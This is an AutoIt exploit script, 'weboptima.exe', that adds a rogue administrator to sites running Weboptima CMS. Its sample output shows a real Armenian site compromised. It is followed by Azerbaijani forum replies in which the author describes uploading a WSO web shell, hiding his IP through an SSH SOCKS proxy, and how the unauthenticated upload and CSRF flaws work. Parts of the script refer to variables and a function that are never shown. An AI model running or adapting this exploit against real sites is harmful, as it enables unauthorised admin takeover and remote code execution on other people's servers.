##############################################################
Weboptima CMS(weboptima.am) REMOTE ADD ADMIN EXPLOIT(priv8)
Usage: weboptima.exe http://site.tld username password
[*] DON'T HATE THE HACKER, HATE YOUR OWN CODE! [*]
[@@@] Vuln & Exploit By AkaStep [@@@]
##############################################################
[+] GETTING INFO ABOUT CMS [+]
[*] GOT Response : Yes! It is exactly that we are looking for! [*]
##################################################
Trying to add new admin:
To Site:www.decart.am
With Username: AzerbaijanBlackHatzWasHere
With Password: AzerbaijanBlackHatzWasHere
##################################################
##################################################
Exploit Try Count:2
##################################################
Error Count:0
##################################################
Count of errors during exploitation : 0
##################################################
[*] Yaaaaa We are Going To Travel xD [*]
Try to login @
Site: decart.am/cms/index.php
With Username: AzerbaijanBlackHatzWasHere
With Password: AzerbaijanBlackHatzWasHere
*NOTE* Make Sure Your Browser Reveals HTTP REFERER!
OTHERWISE YOU WILL UNABLE TO LOGIN!
##################################################
[*] Exit [*]
##################################################
#ce
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_Change2CUI=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#NoTrayIcon
#include "WinHttp.au3"
#include <inet.au3>
#include <String.au3>
$method='POST';
$vulnurl='cms/loginPass.php?test=' & Random(1,15677415,1);
Global $count=0,$error=0;
$cmsindent='kcaptcha'; # We will use it to identify CMS #;
$adminpanel='/cms/index.php';
;#~ Impersonate that We Are Not BOT or exploit.We are human who uses IE. Dohhh))# ~;
$useragent='Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SV1; .NET CLR 1.1.4325)';
$msg_usage="Command Line Plizzzz => " & @CRLF & "Usage: " & @ScriptName & ' http://site.tld ' & ' usernametoadd ' & 'passwordtoadd' & @CRLF
if $CmdLine[0] <> 3 Then
MsgBox(64,"",$msg_usage);
ConsoleWrite(@CRLF & _StringRepeat('#',62) & @CRLF & $msg_usage & @CRLF & _StringRepeat('#',62) & @CRLF);
exit;
EndIf
if $CmdLine[0]=3 Then
$targetsite=$CmdLine[1];
$username=$CmdLine[2];
$password=$CmdLine[3];
EndIf
if StringStripWS($targetsite,8)='' OR StringStripWS($username,8)='' OR StringStripWS($password,8)='' Then
ConsoleWrite('Are you kidding me?');
Exit;
EndIf
HttpSetUserAgent($useragent)
$doublecheck=InetGet($targetsite,'',1);
if @error Then
ConsoleWrite('[*] Are you sure that site exist? Theris an error! Please Try again! [*]' & @CRLF)
Exit;
EndIf
ConsoleWrite('[+] GETTING INFO ABOUT CMS [+] ' & @CRLF);
sleep(Random(1200,2500,1));
if StringInStr($sidentify,$cmsindent) Then
ConsoleWrite("[*] GOT Response : Yes! It is exactly that we are looking for! [*]" & @CRLF)
Else
ConsoleWrite("[*] IDENTIFICATION RESULT IS WRONG!. Anyway,forcing to try exploit it. [*]" & @CRLF)
$error+=1;
EndIf
if $error>=2 OR $count>=2 Then
ConsoleWrite('Count of errors during exploitation : ' & $error & @CRLF)
if int($error)=0 then
ConsoleWrite($triptrop & '[*] Yaaaaa We are Going To Travel xD [*]' & _
@CRLF & 'Try to login @ ' & @CRLF & _
'Site: ' & $targetsite & $adminpanel & @CRLF &'With Username: ' & _
$username & @CRLF & 'With Password: ' & $password & @CRLF & _
'*NOTE* Make Sure Your Browser Reveals HTTP REFERER!' & @CRLF & _
' OTHERWISE YOU WILL UNABLE TO LOGIN! ' & $triptrop & '[*] Exit [*]' & $triptrop);
exit;
Else
ConsoleWrite($triptrop & '[*] Seems Is not exploitable or Vuln Fixed? [*]' & @CRLF & _
'[*] Anyway,try to login with new credentials. [*]' & @CRLF & _
'[*] May be you are Lucky;) [*]' & _
@CRLF & 'Try to login @ ' & @CRLF & _
'Site: ' & $targetsite & $adminpanel & @CRLF & _
'With Username: ' & $username & @CRLF & 'With Password: ' & $password & $triptrop & '[*] Exit [*]' & $triptrop);
EndIf
exit;
EndIf
Global $hOpen = _WinHttpOpen($useragent);
Global $hConnect = _WinHttpConnect($hOpen, $sAddress)
Global $hRequest = _WinHttpOpenRequest($hConnect,$method,$vulnurl,Default,Default,'');
_WinHttpAddRequestHeaders($hRequest, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
_WinHttpAddRequestHeaders($hRequest, "Accept-Language: en-US,en;q=0.5")
_WinHttpAddRequestHeaders($hRequest, "Accept-Encoding: gzip, deflate")
_WinHttpAddRequestHeaders($hRequest, "DNT: 1")
_WinHttpAddRequestHeaders($hRequest, "Referer: " & $targetsite & $vulnurl);# We need it #;
_WinHttpAddRequestHeaders($hRequest, "Cookie: ComeToPwnYou");#~ Not neccessary just for compatibility.Change or "rm" it if you want. #~;
_WinHttpAddRequestHeaders($hRequest, "Connection: keep-alive")
_WinHttpAddRequestHeaders($hRequest, "Content-Type: application/x-www-form-urlencoded")
_WinHttpAddRequestHeaders($hRequest, "Content-Length: " & StringLen($sPostData));
_WinHttpSendRequest($hRequest, -1, $sPostData)
_WinHttpReceiveResponse($hRequest)
Global $sHeader, $sReturned
If _WinHttpQueryDataAvailable($hRequest) Then
$sHeader = _WinHttpQueryHeaders($hRequest)
Do
$sReturned &= _WinHttpReadData($hRequest)
Until @error
$targetsite=StringMid($targetsite,5,StringLen($targetsite))
Sleep(Random(10000,20000,1));
priv8($targetsite,$username,$password,$count,$error);#~ Pass to function and TRY to Exploit #~;
Else
$error+=1;#~ iNCREMENT ERROR(s) COUNT. CUZ SOMETHING WENT WRONG ~#;
Təşəkkürlər bros
@Frozen
1 ) Port söhbəti Socks proxydir SSH tunnelinglə ki,videoda real İP adresim düşməsin.
2 ) HTML exploit vasitəsilə gal.php wso shelldir upload elədim.
3 ) cmd vasitəsilə ilə REMOTE ADD admin exploitimi göstərdim sayta admin əlavə etməyimi.
4 )Bilmirəm niyə tam dəqiq başa düşməmisən orda amma videonun HD quality keyfiyyətli göstərmə düyməsi var orda embed şəkildə yox linkə kliklə çalış bax (HD QUALİTY) ilə o halda sual qalmayacaq.
Hal hazırda məndə latest versiyadır FF -Firefox 18.0.1.
Port-u yox ehtiyyaç yoxdur SSH tunnelingdə xaricə açmağa.
Putty vasitəsilə dinlənmə verirsən hansısa porta məsələn 9049-a.
SSH-ə qoşulursan remote serverlərin birinə oturursan oranın ipsindən.
Olur Socks proxy.
İstənilən təhlükəsizlik boşluğu geci-tezi fixlənir (aradan qaldırılır)
Nəzərə alsaq ki,bu vuln+exploit private deyil yəni public edilib mənim tərəfimdən + 2013-01-23 (düz 1 il bundan əvvəl)
özünüz düşünün tək-tük bu təhlükəsizlik boşluğuna məruz xaçik saytı tapasınız.
=======================================================================
Yox bro.
Remote Shell upload gedir o tipli boşluq.
Koda fikir versək görərik ki birincisi heç bir session check yoxdur həmin upload.php-də.
2-cisi də kodda file type+mime validasiya yoxdur.
Nəticədə RCE (Remote code executionla) nəticələnir.
Form-a qaldıqda əslində digər tərəfdən CSRF də var.Ümumiyyətlə koda baxsaq çox vektor çıxar üzə.Amma mənası yoxdur əsas açar anı burda tam başqa
şey oynayır deyə.
CSRF boşluğu loru dildə desək elə başa düş ki,SAYT1-də hansısa form var.
Bu Form-da zaprosun legal istifadəçi tərəfindən edilməsi yoxlanılmır.
Məsələn hacker girdirmə form düzəldib admini elə edə bilərki tam kənar bir B saytına visit etməyə məcbur etsin.
Bununla da məqsədinə nail olur.
A saytının admini özündən belə xəbərsiz hackerin etdiyi əməliyyatı fon rejimdə edir.
(Sistemə admin əlavə edilir/Yaxud parol dəyişilir) o da artıq gec olur.
Bax CSRF budur.
Onun da qarşısını almaq üçün müxtəlif metodlar var.
1) Captcha
2) ZAPROSLARDA validasiya etmək anti-csrf token vasitəsilə.
istər $_GET istər $_POST üzrə.